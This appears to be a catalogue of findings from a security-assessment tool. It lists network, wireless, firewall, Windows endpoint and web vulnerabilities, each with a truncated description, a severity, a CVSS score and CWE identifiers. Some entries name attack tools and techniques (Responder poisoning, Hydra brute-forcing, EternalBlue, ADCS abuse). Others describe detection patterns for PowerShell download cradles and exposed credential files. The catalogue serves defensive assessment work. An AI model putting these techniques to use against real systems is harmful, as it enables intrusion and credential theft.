SS3-010 CRITICAL TLS Heartbleed Vulnerability
The server is vulnerable to Heartbleed (CVE-2014-0160). An attacker can read up to 64 KB of server process memory per re...
7.5 —
SS3-012 CRITICAL SMB Share Accessible (No Authentication)
An SMB share is accessible without authentication (null session or guest access). Files and directories on the share are...
9.1 —
SS3-015 CRITICAL NTLMv1 Hash Captured
An NTLMv1 authentication hash was captured via Responder poisoning. NTLMv1 is trivially crackable in seconds using rainb...
8.1 CWE-294 CWE-311 CWE-306
SS3-017 CRITICAL Default Credentials Accepted
A service accepted a known factory-default username and password combination. Default credentials are documented publicl...
9.8 —
SS3-018 CRITICAL SSH Brute-Force Credentials Valid
Hydra discovered valid SSH credentials by brute-forcing the login service. An attacker can authenticate interactively an...
9.8 CWE-307 CWE-521
SS3-022 CRITICAL Nuclei: Default Login Accepted
Nuclei's default-login template confirmed a vendor-default credential pair is accepted by a web application or managemen...
9.8 —
SS3-027 CRITICAL SQL Injection Vulnerability
sqlmap detected a SQL injection vulnerability in a web application parameter. An attacker can extract, modify, or delete...
9.8 —
SS3-034 CRITICAL BloodHound: Attack Path to Domain Admin Found
BloodHound-Python graph collection identified a privilege escalation path from a compromised account to Domain Admin rig...
8.8 CWE-732 CWE-269
SS3-039 CRITICAL VNC Accessible Without Authentication
A VNC service is accessible from the network without requiring authentication. An attacker has full graphical desktop ac...
9.8 —
SS3-042 CRITICAL IPMI Authentication Bypass
The IPMI/BMC interface is vulnerable to an authentication bypass (CVE-2013-4786 / Cipher 0 attack) allowing unauthentica...
9.8 CWE-287 CWE-306
SS3-043 CRITICAL Oracle Database Default Credentials (ODAT)
ODAT discovered valid credentials on an Oracle database listener (port 1521). An attacker with database access can exfil...
9.8 —
SS3-044 CRITICAL MSSQL Default Credentials (msdat)
msdat discovered valid credentials on a Microsoft SQL Server (port 1433/1434). Attackers can query data, execute xp_cmds...
9.8 CWE-287 CWE-521
SS3-047 CRITICAL EternalBlue (MS17-010) — Host Confirmed Vulnerable
The target host has been positively confirmed as vulnerable to EternalBlue (MS17-010). The SMBv1 implementation in the W...
9.8 —
SS3-048 CRITICAL EternalBlue (MS17-010) — Likely Vulnerable (SMBv1 + Unpatched)
The target host exposes SMBv1 and does not appear to have the MS17-010 patch applied, indicating a high likelihood of vu...
9.8 —
SS3-049 CRITICAL SMBv1 Protocol Enabled (EternalBlue Risk)
The SMBv1 protocol is enabled on this host. SMBv1 is a legacy protocol deprecated by Microsoft in 2014 that contains the...
9.8 CWE-693 CWE-119
SS3-050 CRITICAL IPMI 2.0 Cipher Suite 0 — Authentication Bypass and Hash Capture
The IPMI 2.0 implementation on this host accepts Cipher Suite 0 (null authentication), allowing an unauthenticated attac...
9.8 CWE-287 CWE-306
SS3-052 CRITICAL SSH Vulnerability: 'none' Authentication Accepted (libSSH Bypass CVE-2018-10933)
The SSH server accepts the 'none' authentication method due to an authentication bypass vulnerability in libSSH (CVE-201...
9.8 CWE-287
SS3-064 CRITICAL Redis Unauthenticated Access
The Redis server on this host is accessible without authentication. Redis provides no access control beyond an optional ...
9.8 CWE-306 CWE-284
SS3-065 CRITICAL MySQL Unauthenticated Access — Root with No Password
The MySQL server accepts connections as the root user without a password from the network. This grants an attacker full ...
9.8 CWE-306 CWE-521
SS3-067 CRITICAL VMware ESXi Management Interface Exposed
A VMware ESXi management interface (vSphere Client HTTPS on port 443, or ESXi Shell on port 22) is accessible from the n...
9.8 CWE-284 CWE-749
SS3-070 CRITICAL SMB Administrative Access via Credentials
Valid credentials were used to authenticate to the SMB service with administrative privileges, and access to administrat...
9.0 CWE-269 CWE-732
SS3-087 CRITICAL Valid Credentials via Brute Force
Automated credential brute-force or password spraying discovered a valid username and password combination against a net...
9.8 CWE-307 CWE-521
SS3-092 CRITICAL Information Disclosure: Plaintext Credentials in Web Content
Credentials (usernames, passwords, API keys, tokens, or connection strings) were discovered in plaintext within web-acce...
9.8 CWE-311 CWE-319
SS3-104 CRITICAL SSL/TLS Vulnerability: Heartbleed (CVE-2014-0160)
The target server is confirmed vulnerable to Heartbleed (CVE-2014-0160). The OpenSSL heartbeat extension does not proper...
7.5 —
SS3-106 CRITICAL OS End-of-Life
The operating system running on this host has reached End-of-Life (EOL) status and is no longer receiving security updat...
9.8 CWE-1104
SS3-181 CRITICAL VNC: No Authentication Required
The VNC server accepts connections with security type 1 (None), allowing any remote user to connect without providing cr...
9.8 CWE-306
SS3-183 CRITICAL WinRM: No Authentication Required
The WinRM (Windows Remote Management) service responded to an unauthenticated SOAP/WS-Management request without requiri...
9.8 CWE-306
SS3-187 CRITICAL Kubernetes API: Unauthenticated Access
The Kubernetes API server is accessible without authentication. Unauthenticated requests can list, create, and modify cl...
9.8 CWE-306
SS3-188 CRITICAL Kubelet API: Unauthenticated Access
The Kubelet API on port 10250 is accessible without authentication, allowing direct interaction with containers running ...
9.8 CWE-306
SS3-192 CRITICAL Memcached: Unauthenticated Access
Memcached is accessible without authentication. The 'stats' command returned data successfully, confirming no authentica...
9.1 CWE-306
SS3-196 CRITICAL RabbitMQ: Default Credentials (guest/guest)
The RabbitMQ management UI is accessible with default credentials (guest/guest). The management API returned cluster ove...
9.8 CWE-1392
SS3-201 CRITICAL Cloud Metadata Endpoint Accessible
The cloud instance metadata endpoint (169.254.169.254) is accessible from an internal web service, indicating potential ...
9.1 CWE-918
SS3-202 CRITICAL Jenkins: Unauthenticated Groovy Console (RCE)
The Jenkins Groovy Script Console at /script is accessible without authentication, allowing execution of arbitrary Groov...
9.8 CWE-306
SS3-206 CRITICAL SMBv3 Remote Code Execution (CVE-2020-0796)
The host is vulnerable to CVE-2020-0796 (SMBGhost), a buffer overflow in SMBv3 compression handling in Windows 10 (1903/...
10.0 CWE-119
SS3-207 CRITICAL FTP Default Credentials Accepted
The FTP service accepted well-known default or factory-set credentials, granting authenticated access to the file transf...
9.8 CWE-521 CWE-798
SS3-217 CRITICAL Default Credentials: {SERVICE}
brutespray confirmed that a network service accepts default or factory-preset credentials. The service responded with a ...
9.8 CWE-798 CWE-1392
AETHER-002 HIGH WPA Handshake Captured
A complete WPA/WPA2 4-way handshake or PMKID was captured for the target SSID. While the PSK has not yet been recovered,...
6.8 —
AETHER-004 HIGH WPA3 SAE Dragonblood — Invalid Curve Attack Confirmed
The target WPA3 SAE implementation accepted an invalid elliptic-curve point during the SAE Commit exchange (attack mode ...
7.4 —
AETHER-005 HIGH WPA3 SAE Dragonblood — Reflection Attack Confirmed
The target WPA3 SAE implementation is vulnerable to the SAE reflection attack (attack mode 0). By reflecting the AP's ow...
7.4 —
AETHER-006 HIGH WPA3 SAE Dragonblood — Secondary Invalid Curve Attack Confirmed
The target WPA3 SAE implementation is vulnerable to a secondary invalid curve attack variant (attack mode 2). This varia...
7.4 —
AETHER-007 HIGH WPA3 SAE Dragonblood — Zero-Scalar Attack Confirmed
The target WPA3 SAE implementation accepted a SAE Commit message with a zero scalar value (attack mode 3). Sending a sca...
7.4 —
AETHER-009 HIGH WPA2 KRACK Vulnerability — Standard 4-Way Handshake Reinstallation
The target client or AP is vulnerable to the KRACK key reinstallation attack targeting the standard 4-way handshake (CVE...
8.1 —
AETHER-010 HIGH WPA2 KRACK Vulnerability — TPTK Variant
The target is vulnerable to the KRACK Temporal PTK (TPTK) variant (CVE-2017-13078). This variant exploits the handling o...
8.1 —
AETHER-011 HIGH WPA2 KRACK Vulnerability — Group Key Reinstallation
The target is vulnerable to KRACK group key reinstallation (CVE-2017-13080). By replaying group key handshake message 1,...
8.1 —
AETHER-012 HIGH WEP Encryption in Use
The target network uses WEP (Wired Equivalent Privacy), which has been cryptographically broken since 2001 (CVE-2001-030...
9.1 —
AETHER-017 HIGH WPA PMKID / EAPOL Hash Captured
hcxdumptool captured a PMKID or EAPOL hash for the target SSID without requiring a connected client or deauthentication....
6.8 —
AETHER-019 HIGH Rogue AP — Clients Associated to Evil Twin
One or more wireless clients associated to an attacker-controlled rogue AP that cloned the target SSID and BSSID. Client...
7.5 —
AETHER-027 HIGH ARP Cache Poisoning — MITM Position Established
ARP cache poisoning was successfully performed on the rogue AP's subnet, placing the assessment system in a man-in-the-m...
7.4 —
AETHER-028 HIGH LLMNR / NBT-NS Poisoning — NTLMv2 Hashes Captured
Responder successfully poisoned LLMNR (Link-Local Multicast Name Resolution) and/or NBT-NS (NetBIOS Name Service) querie...
8.0 —
AETHER-031 HIGH TKIP ChopChop / Fragmentation Attack — Packet Decryption Confirmed
A TKIP ChopChop or fragmentation attack (Beck-Tews / Ohigashi-Morii) was confirmed against the target network. An attack...
7.5 —
AETHER-033 HIGH Wi-Fi Direct WPS PIN Cracked — Device Compromised
The WPS PIN for a Wi-Fi Direct device was recovered via reaver or a Pixie Dust offline attack. An attacker with this PIN...
7.5 —
AETHER-CAP-DNS-EXTERNAL HIGH Captive Portal: External DNS Resolution Pre-Authentication
Unauthenticated clients on the open SSID can resolve arbitrary hostnames via external DNS resolvers (e.g. 1.1.1.1, 8.8.8...
7.4 CWE-284 CWE-693
AETHER-CAP-IPV6 HIGH Captive Portal: IPv6 Dual-Stack Bypass
Direct outbound traffic over IPv6 succeeded from an unauthenticated client on the open SSID, while IPv4 traffic was (or ...
7.4 CWE-284 CWE-693
AETHER-CERT-001 HIGH Weak Server Certificate Algorithm or Key Length
The RADIUS server certificate used for EAP-TLS (or PEAP/TTLS server validation) uses a signature algorithm or RSA key le...
6.8 —
AETHER-INFO-MIXED-AUTH HIGH Inconsistent Authentication Modes Across APs for Same SSID
An SSID was observed broadcast across multiple BSSIDs with materially different authentication modes. Example: the same ...
7.4 CWE-757 CWE-326
AETHER-IPSK-001 HIGH iPSK MAC-Inheritance Test Succeeded
On a Meraki SSID using Identity PSK (iPSK), the test confirmed that authentication is keyed primarily on MAC address — s...
7.4 —
AETHER-SPLASH-002 HIGH Captive Portal DNS Bypass — External Resolution Pre-Auth
From the guest SSID before completing the captive portal sign-in, DNS queries to external resolvers (e.g., 8.8.8.8) succ...
6.5 —
BA-008 HIGH SSH Permitted from External/Untrusted Sources
A firewall rule permits SSH (TCP 22) from untrusted or external sources. SSH brute-force attacks are extremely common ag...
9.4 —
BA-009 HIGH Telnet Permitted Through Firewall
A firewall rule permits Telnet (TCP 23). Telnet transmits all data including credentials in plaintext and has been depre...
8.2 —
BA-012 HIGH MS-RPC Permitted from External Sources (TCP 135)
A firewall rule permits Microsoft RPC (TCP 135) from external sources. MS-RPC is a critical Windows service used for DCO...
10.0 —
BA-013 HIGH NetBIOS Permitted Through Firewall
A firewall rule permits NetBIOS (UDP 137-138, TCP 139) traffic. NetBIOS is a legacy Windows protocol that enables reconn...
8.2 —
BA-014 HIGH SNMP Permitted from Any Source
A firewall rule permits SNMP (UDP 161) from any source address. SNMP exposes device configurations, routing tables, and ...
8.2 —
BA-015 HIGH SNMP v1/v2c Weak Authentication Exposure
SNMP is permitted through the firewall with likely v1/v2c community string authentication. SNMPv1 and v2c use cleartext ...
6.5 —
BA-016 HIGH WinRM Permitted from External Sources (TCP 5985/5986)
A firewall rule permits Windows Remote Management (WinRM, TCP 5985 HTTP or 5986 HTTPS) from external sources. WinRM prov...
9.8 —
BA-020 HIGH TFTP Permitted Through Firewall
A firewall rule permits TFTP (UDP 69). TFTP has no authentication mechanism — any client that can reach the TFTP server ...
8.2 —
BA-025 HIGH HTTP Used for Device Management
HTTP (cleartext) is enabled for firewall or device management. All management traffic including credentials is transmitt...
8.2 —
BA-028 HIGH HTTPS Management Accessible from Any Source
HTTPS device management is accessible from any source IP address. While HTTPS provides encryption, unrestricted access e...
8.2 —
BA-029 HIGH Permit Rules Without Logging Enabled
One or more permit (allow) rules do not have logging enabled. Traffic matching these rules is not captured in firewall l...
7.5 —
BA-032 HIGH No DMZ (Demilitarised Zone) Detected
No DMZ zone or interface has been identified in the firewall configuration. Public-facing services appear to be placed i...
10.0 —
BA-033 HIGH Direct Internet-to-Internal Permit Without DMZ Intermediate
Permit rules exist that allow direct traffic from the external/internet zone to internal high-trust zones without passin...
10.0 —
BA-034 HIGH Flat Network — Only One Zone or Interface Defined
The firewall configuration defines only a single zone or network interface. All traffic flows through a single segment w...
10.0 —
BA-036 HIGH Internal RFC-1918 Addresses Potentially Reachable Without NAT
Permit rules allow traffic to private (RFC-1918) destination addresses from external zones without corresponding NAT tra...
6.5 —
BA-040 HIGH BGP/OSPF Routing Protocols Permitted from External Sources
BGP (TCP 179) or OSPF routing protocol traffic is permitted from external or untrusted sources. Routing protocol injecti...
10.0 —
BA-045 HIGH MQTT IoT Protocol Exposed (TCP 1883/8883)
MQTT broker ports (TCP 1883 unencrypted or 8883 TLS) are accessible from untrusted sources. MQTT is the primary IoT mess...
9.4 —
BA-048 HIGH Cato Internet Firewall: Outbound Any-Any Permit
Internet-bound traffic is permitted without application or destination restriction, bypassing CASB and URL filtering con...
8.2 —
BA-050 HIGH Cloudflare Gateway: No Default Block on Network Policy
No default-deny network policy exists in Cloudflare Gateway. Traffic not matching any explicit rule is passed through.
7.3 —
BA-052 HIGH Cloudflare Gateway: Unrestricted SSH/RDP in Network Policy
A network policy permits SSH or RDP from any source without identity conditions in Cloudflare Gateway.
9.8 —
BA-054 HIGH Executive Env: Personal IoT Devices Reachable from Corporate Network
Rules permit traffic to/from IP ranges or ports associated with consumer IoT devices (smart TVs, streaming, home assista...
7.5 —
BA-056 HIGH Executive Env: No Zero-Trust Access Control for VPN/Remote Access
Remote access to the executive environment relies on traditional VPN without identity-aware, device-posture-based contro...
8.4 —
BA-058 HIGH Firewall Rule Permits Traffic to Known Malicious IP ({ip})
A firewall rule permits traffic with a source or destination address that is flagged as KNOWN MALICIOUS by multiple thre...
9.4 —
DR-AD-002 HIGH Active Directory: AS-REP Roastable Accounts
{...} account(s) have Kerberos pre-authentication disabled (DONT_REQUIRE_PREAUTH flag). These accounts are vulnerable to...
7.5 CWE-287
DR-AD-003 HIGH Active Directory: Unconstrained Delegation
{...} non-domain-controller account(s) are configured for unconstrained Kerberos delegation. These systems can impersona...
8.1 CWE-269 CWE-284
DR-AD-004 HIGH Policy: Weak Domain Password Policy
The domain password policy does not meet security best practices. Minimum password length, complexity requirements, or p...
7.5 CWE-521
DR-AD-011 HIGH Active Directory: LAPS Not Deployed
Local Administrator Password Solution (LAPS) is not deployed on this system or in the domain. Without LAPS, local admini...
7.5 CWE-522
DR-ADCS-002 HIGH ADCS: ESC2 - Overly Permissive Template
A certificate template has an Extended Key Usage (EKU) of 'Any Purpose' (OID 2.5.29.37.0) or no EKU at all (which is equ...
8.1 CWE-295
DR-ADCS-003 HIGH ADCS: ESC3 - Enrollment Agent Template
A certificate template with the Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1) allows low-privileged users t...
8.1 CWE-295
DR-ADCS-004 HIGH ADCS: ESC4 - Vulnerable Template ACL
A certificate template's access control list (ACL) grants write permissions (WriteDACL, WriteOwner, WriteProperty, or Ge...
8.1 CWE-732
DR-ADCS-006 HIGH ADCS: ESC8 - NTLM Relay to HTTP Enrollment
The AD Certificate Services web enrollment endpoint is accessible over HTTP (not HTTPS) and/or does not enforce Extended...
8.1 CWE-294
DR-BRW-001 HIGH Browser: Malicious Extension Detected ({browser})
One or more browser extensions match known malicious extensions in the threat intelligence database. These extensions ma...
8.8 CWE-506
DR-CMP-003 HIGH Network Hardening: NetBIOS over TCP/IP Enabled
NetBIOS over TCP/IP (NBT) is enabled on one or more network interfaces, exposing the legacy name resolution and session ...
7.5 CWE-16
DR-CRED-003 HIGH Credential Exposure: Credential Files on Disk
Files containing plaintext or easily reversible credentials were found on disk. This includes unattend.xml/autounattend....
7.5 CWE-312 CWE-538
DR-CRED-005 HIGH Credential Exposure: Cloud Credential Files
Cloud provider credential files were found on this system. This includes AWS credentials (~/.aws/credentials), Azure pro...
7.5 CWE-312 CWE-798
DR-EVT-001 HIGH Event Log: Brute Force Attack Detected
Brute-force login activity detected with multiple failed authentication attempts from the same source within the past 7 ...
7.5 CWE-307
DR-EVT-004 HIGH Event Log: Suspicious PowerShell Activity
PowerShell events contain suspicious patterns including encoded commands (-EncodedCommand), download cradles (Invoke-Web...
8.8 CWE-94
DR-HDN-001 HIGH System Hardening: UAC Disabled
User Account Control (UAC) is completely disabled on this endpoint. The registry value EnableLUA under HKLM\SOFTWARE\Mic...
7.8 CWE-250
DR-HDN-005 HIGH Authentication: NTLMv1 Authentication Allowed
The LAN Manager authentication level allows NTLMv1 responses, a weak authentication protocol that is trivially crackable...
7.5 CWE-328
DR-HDN-006 HIGH Authentication: LM Password Hashes Stored
The system is configured to store LAN Manager (LM) hash values for passwords, a severely weak hash format.
7.5 CWE-916
DR-HDN-009 HIGH System Hardening: LSA Protection Not Enabled
Local Security Authority (LSA) protection is not enabled. The RunAsPPL registry value is not set to 1 at HKLM\SYSTEM\Cur...
7.8 CWE-693
DR-HDN-011 HIGH Network Hardening: LLMNR Enabled
Link-Local Multicast Name Resolution (LLMNR) is enabled, allowing unauthenticated name resolution on the local network.
5.3 CWE-345
DR-HDN-017 HIGH Endpoint Protection: Windows Defender Disabled
Windows Defender Antivirus is completely disabled or not running on this endpoint with no alternative antimalware soluti...
7.8 CWE-693
DR-HDN-019 HIGH Endpoint Protection: Defender Real-Time Protection Off
Windows Defender is installed but real-time protection is turned off, leaving the system without active file scanning.
7.8 CWE-693
DR-HDN-020 HIGH Remote Desktop: RDP Without NLA
Remote Desktop Protocol is enabled without requiring Network Level Authentication (NLA), allowing unauthenticated users ...
7.5 CWE-287
DR-HDN-022 HIGH Access Control: Anonymous Named Pipe Access
Anonymous (null session) access to named pipes is permitted, allowing unauthenticated users to connect to specific named...
5.3 CWE-284
DR-HDN-023 HIGH Access Control: Null Session Access
The system allows null session (anonymous) connections for SAM enumeration and share enumeration.
5.3 CWE-284
DR-HDN-039 HIGH Authentication: Blank Passwords Permitted for Network Logon
Accounts with empty passwords can authenticate over the network (SMB, RDP, WinRM). LimitBlankPasswordUse is disabled.
8.1 CWE-521
DR-HDN-040 HIGH Access Control: Anonymous Users Included in Everyone Group
The Everyone security group includes anonymous (unauthenticated) connections. Any resource with Everyone permissions is ...
7.5 CWE-284 CWE-287
DR-HDN-041 HIGH Remote Desktop: Weak RDP Transport Encryption
Remote Desktop is configured with weak or legacy transport encryption. Sessions can be intercepted or downgraded by an o...
7.4 CWE-326 CWE-327
DR-HDN-043 HIGH Privilege Escalation: Sensitive User Rights Assigned to Non-Default Accounts
Sensitive user rights (SeDebugPrivilege, SeLoadDriverPrivilege, SeBackupPrivilege, etc.) are assigned to accounts beyond...
7.8 CWE-269 CWE-250
DR-NET-001 HIGH Network: Suspicious Outbound Connection
The Windows Firewall is disabled for the Domain network profile.
7.5 CWE-506
DR-PERS-001 HIGH Persistence: WMI Event Subscription
Active WMI event subscriptions (EventFilter + EventConsumer + FilterToConsumerBinding) were found on this system. WMI su...
7.5 CWE-506
DR-PERS-003 HIGH Persistence: AppInit_DLLs Configured
The AppInit_DLLs registry value is configured with one or more DLL paths. Windows loads any DLL listed in AppInit_DLLs i...
7.8 CWE-427
DR-PERS-004 HIGH Persistence: IFEO Debugger Set
Image File Execution Options (IFEO) registry entries have a 'Debugger' value set for one or more executables. This cause...
7.8 CWE-506
DR-PERS-008 HIGH Persistence: LSA Authentication Package Modified
Non-default authentication packages or security support providers (SSPs) are registered in the LSA registry configuratio...
7.8 CWE-506
DR-PRIV-001 HIGH Privilege Escalation: AlwaysInstallElevated Enabled
The AlwaysInstallElevated policy is enabled in both HKLM and HKCU registry hives. This Windows Installer policy allows a...
7.8 CWE-269
DR-PRIV-002 HIGH Privilege Escalation: Modifiable Service Binary
One or more Windows service executables reside in directories that are writable by non-administrative users, or the serv...
7.8 CWE-732
DR-PRIV-004 HIGH Privilege Escalation: Dangerous Token Privileges
The current process or service accounts hold dangerous Windows token privileges. SeImpersonatePrivilege and SeAssignPrim...
7.8 CWE-269
DR-PROC-002 HIGH Process: Running from Temporary Directory
One or more processes are executing from temporary directories (%TEMP%, %TMP%, C:\Windows\Temp). Legitimate software rar...
5.3 CWE-427
DR-RMT-001 HIGH Remote Access: Unauthorized RMT Detected
A remote management tool (TeamViewer, AnyDesk, LogMeIn, ConnectWise, Splashtop, etc.) was detected that is not part of t...
7.5 CWE-284
DR-SFT-003 HIGH Software: Suspicious Startup Item
Development tools (compilers, debuggers, IDEs, scripting language interpreters beyond what the system requires) are inst...
3.3 CWE-16
DR-SFT-005 HIGH Software: Known Vulnerable Software Installed
Installed software matches known vulnerable versions with published CVEs or documented security defects. These versions ...
8.1 CWE-1104 CWE-937
DR-SFT-006 HIGH Service Hardening: High-Risk Services Running
High-risk services are actively running, including services that transmit credentials in cleartext (Telnet), allow remot...
7.5 CWE-319 CWE-284
DR-SFT-009 HIGH Software: Network Tunnel or Bypass Tool Installed
Network tunneling or overlay network software is installed. These tools create encrypted channels that can bypass firewa...
7.5 CWE-284
DR-SRV-001 HIGH Authentication: SQL Server Mixed Authentication
SQL Server is configured with mixed authentication mode, allowing both Windows and SQL Server authentication. SQL authen...
5.3 CWE-16
DR-SYS-001 HIGH EOL Software: End-of-Life Windows Version
The Windows operating system version running on this endpoint has reached end-of-life and no longer receives security up...
9.8 CWE-1104
DR-USR-002 HIGH Account Management: Guest Account Enabled
The built-in Guest account is enabled on this endpoint, allowing unauthenticated or minimally-authenticated access.
6.5 CWE-284
DR-USR-005 HIGH Policy: Weak Password Policy
The local password policy does not meet security baselines: minimum length is less than 8 characters and/or password com...
7.5 CWE-521
FR-011 HIGH WordPress XML-RPC Interface Enabled
The WordPress XML-RPC interface (xmlrpc.php) is enabled and accessible. This legacy interface enables brute-force attack...
— —
FR-012 HIGH WordPress XML-RPC Multicall Brute-Force Vector
The XML-RPC system.multicall method is enabled, allowing an attacker to test hundreds of username/password combinations ...
— —
FR-013 HIGH WordPress XML-RPC Pingback SSRF Vector
The XML-RPC pingback.ping method is accessible. An attacker can abuse this to perform Server-Side Request Forgery (SSRF)...
— —
FR-014 HIGH WordPress XML-RPC Interface Accessible
The WordPress XML-RPC endpoint responds to requests. The full list of available methods was retrieved, confirming the at...
— —
FR-016 HIGH WordPress Users Exposed via REST API
The WordPress REST API /wp/v2/users endpoint returns a list of registered usernames and IDs without authentication. This...
— —
FR-023 HIGH WordPress Debug Log Accessible
The WordPress debug log file (wp-content/debug.log) is publicly accessible. Debug logs may contain PHP errors, stack tra...
— —
FR-034 HIGH Admin Interface Exposed
An administrative interface was discovered at a predictable path. Admin interfaces exposed to the internet are high-valu...
— —
FR-035 HIGH Backup File Discovered
A backup file (e.g., .bak, .old, .orig, ~, .zip) was discovered in the web root. Backup files often contain source code,...
— —
FR-038 HIGH SVN/CVS Repository Exposed
A Subversion (.svn) or CVS repository directory is accessible from the web root. Repository metadata can be used to reco...
— —
FR-039 HIGH Log File Accessible
An application or server log file is publicly accessible. Log files may contain IP addresses, usernames, session tokens,...
— —
FR-041 HIGH TLS Certificate Expired
The TLS certificate presented by the server has expired. Browser warnings will be displayed, and the certificate can no ...
— —
FR-042 HIGH TLS Certificate Not Yet Valid
The TLS certificate presented by the server has a notBefore date in the future, meaning it is not yet valid. Clients may...
— —
FR-043 HIGH TLS Certificate Hostname Mismatch
The Common Name or Subject Alternative Names in the TLS certificate do not match the hostname being accessed. This break...
— —
FR-045 HIGH Weak TLS Protocol Supported (SSLv2/SSLv3/TLS 1.0/TLS 1.1)
The server supports one or more deprecated TLS/SSL protocol versions (SSLv2, SSLv3, TLS 1.0, or TLS 1.1). These protocol...
— —
FR-046 HIGH Weak Cipher Suite Supported
The server supports weak cipher suites including NULL encryption, RC4, DES, 3DES, or export-grade ciphers. Weak ciphers ...
— —
FR-048 HIGH TLS POODLE Vulnerability
The server supports SSLv3, making it vulnerable to the POODLE (Padding Oracle On Downgraded Legacy Encryption) attack. A...
— —
FR-051 HIGH TLS LOGJAM Vulnerability
The server supports DHE key exchange with weak (export-grade) Diffie-Hellman parameters (512-bit), making it vulnerable ...
— —
FR-052 HIGH TLS FREAK Vulnerability
The server supports RSA_EXPORT cipher suites, making it vulnerable to the FREAK (Factoring RSA Export Keys) attack. An a...
— —
FR-053 HIGH TLS ROBOT Vulnerability
The server is vulnerable to the ROBOT (Return Of Bleichenbacher's Oracle Threat) attack, allowing an attacker to perform...
— —
FR-054 HIGH TLS CCS Injection Vulnerability
The server is vulnerable to the OpenSSL CCS Injection vulnerability (CVE-2014-0224). An attacker with MITM position can ...
— —
FR-055 HIGH TLS Ticketbleed Vulnerability
The server is vulnerable to Ticketbleed (CVE-2016-9244) in F5 BIG-IP TLS implementations, allowing an attacker to read u...
— —
FR-060 HIGH Subdomain Takeover Vulnerability
A subdomain DNS record points to an external service (e.g., GitHub Pages, S3, Heroku, Netlify) that is no longer claimed...
— —
FR-072 HIGH JWT Token in Local Storage
JSON Web Tokens (JWTs) are stored in browser localStorage. localStorage is accessible to JavaScript, making JWT tokens v...
— —
FR-078 HIGH JWT Token Accepted After Expiry
The server accepts JWT tokens after their 'exp' (expiration) claim has passed. This allows indefinite reuse of stolen or...
— —
FR-087 HIGH Cross-Site Scripting (XSS) — Reflected
Reflected Cross-Site Scripting was detected. User-supplied input is returned in the HTTP response without proper encodin...
— —
FR-088 HIGH Cross-Site Scripting (XSS) — Stored
Stored Cross-Site Scripting was detected. Malicious scripts submitted by an attacker are persisted in the application's ...
— —
FR-089 HIGH Cross-Site Scripting (XSS) — DOM-Based
DOM-based Cross-Site Scripting was detected. Client-side JavaScript reads attacker-controlled data (e.g., from URL fragm...
— —
FR-090 HIGH LDAP Injection
LDAP injection was detected. User input is incorporated into LDAP query filters without proper escaping. An attacker can...
7.5 CWE-90
FR-091 HIGH XPath Injection
XPath injection was detected. User input is embedded in XPath query expressions without sanitization. An attacker can ma...
7.5 CWE-91
FR-094 HIGH Information Disclosure: Javascript Secret
Sensitive secrets (API keys, credentials, tokens, private keys) were found hardcoded in client-side JavaScript files. Th...
— —
FR-099 HIGH Path Traversal / Local File Inclusion
Path traversal (directory traversal) was detected. An attacker can use sequences like ../../ in user-supplied file path ...
7.5 CWE-22 CWE-23 CWE-35
FR-103 HIGH SSRF via Internal Network Access
SSRF was exploited to access internal network services (RFC 1918 address ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/...
— —
FR-107 HIGH Authentication Bypass via Direct URL Access
Authenticated pages or resources are accessible by directly navigating to their URLs without an active session. Authenti...
— —
FR-108 HIGH Password Reset Token Weak or Predictable
Password reset tokens are short, sequential, or based on predictable data (timestamp, username hash, MD5). An attacker c...
— —
FR-114 HIGH Vulnerability Scanner Finding — Known CVE
A vulnerability scanner (Nuclei) identified a known CVE in a component used by the application. The component version ma...
— —
FR-115 HIGH Vulnerability Scanner Finding — Exposed Panel
A Nuclei scan identified an exposed administrative or monitoring panel (e.g., Grafana, Kibana, Consul, Prometheus, Jenki...
— —
FR-118 HIGH GraphQL Batch Query Attack
The GraphQL endpoint accepts batched queries, allowing multiple queries to be sent in a single HTTP request. This can be...
— —
FR-119 HIGH GraphQL Deeply Nested Query (DoS)
The GraphQL endpoint does not enforce query depth limits. An attacker can craft deeply nested queries that cause exponen...
— —
FR-123 HIGH No Account Lockout Mechanism
The login endpoint does not implement account lockout or rate limiting after repeated failed authentication attempts. An...
— —
FR-129 HIGH Insecure Direct Object Reference (IDOR)
Insecure Direct Object Reference (IDOR) was detected. Direct references to internal objects (user IDs, record IDs, file ...
8.1 CWE-639
FR-130 HIGH Horizontal Privilege Escalation
Horizontal privilege escalation was detected. An authenticated user can access or modify another user's resources by man...
8.1 CWE-639
FR-132 HIGH Missing Function-Level Access Control
Application functions (APIs, admin actions) are protected only by hiding them from the UI but lack server-side access co...
8.8 CWE-285
FR-133 HIGH Session Fixation
Session fixation was detected. The application does not generate a new session ID after successful authentication. An at...
7.3 CWE-384
FR-134 HIGH Session Token in URL
Session tokens are transmitted in URL query parameters. Session tokens in URLs are exposed in browser history, referrer ...
— —
FR-136 HIGH Session Not Invalidated on Logout
Session tokens remain valid on the server after the user logs out. An attacker who captures a session token before logou...
— —
FR-137 HIGH Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) was detected. State-changing requests lack CSRF tokens or other anti-CSRF mechanisms. ...
7.1 CWE-346 CWE-352
FR-138 HIGH CSRF Token Not Validated Server-Side
The application includes CSRF tokens in forms but does not validate them server-side, or accepts any non-empty value as ...
— —
FR-139 HIGH Cross-User Data Leakage
Data belonging to one user is visible to another user due to insufficient isolation in shared resources, caches, or mult...
— —
FR-145 HIGH Unrestricted File Upload — MIME Type Bypass
The file upload validation relies solely on the Content-Type header or file extension, which can be manipulated by an at...
— —
FR-146 HIGH File Upload — Path Traversal in Filename
The file upload functionality uses the client-supplied filename in the server-side file path without sanitization. An at...
— —
FR-147 HIGH Mass Assignment Vulnerability
Mass assignment (also known as auto-binding) was detected. The application binds HTTP request parameters directly to int...
8.1 CWE-915
FR-149 HIGH Broken Object-Level Authorization (BOLA) in API
API endpoints expose object-level access without authorization validation. An authenticated user can access or modify an...
— —
FR-150 HIGH Broken Function-Level Authorization (BFLA) in API
API endpoints with administrative or privileged functionality are accessible to lower-privileged or unauthenticated user...
— —
FR-152 HIGH CORS Misconfiguration — Arbitrary Origin Reflected
The server reflects the request's Origin header in the Access-Control-Allow-Origin response header and includes Access-C...
— —
FR-153 HIGH CORS Misconfiguration — Null Origin Allowed
The server includes 'Access-Control-Allow-Origin: null' in its response. This allows sandboxed iframes, redirects, and l...
— —
FR-154 HIGH Business Logic Flaw — Negative Value Accepted
The application accepts negative numeric values in business-critical fields (quantity, price, payment amount). This can ...
— —
FR-155 HIGH Business Logic Flaw — Price Manipulation
The application trusts client-submitted pricing data without server-side verification. An attacker can manipulate price ...
— —
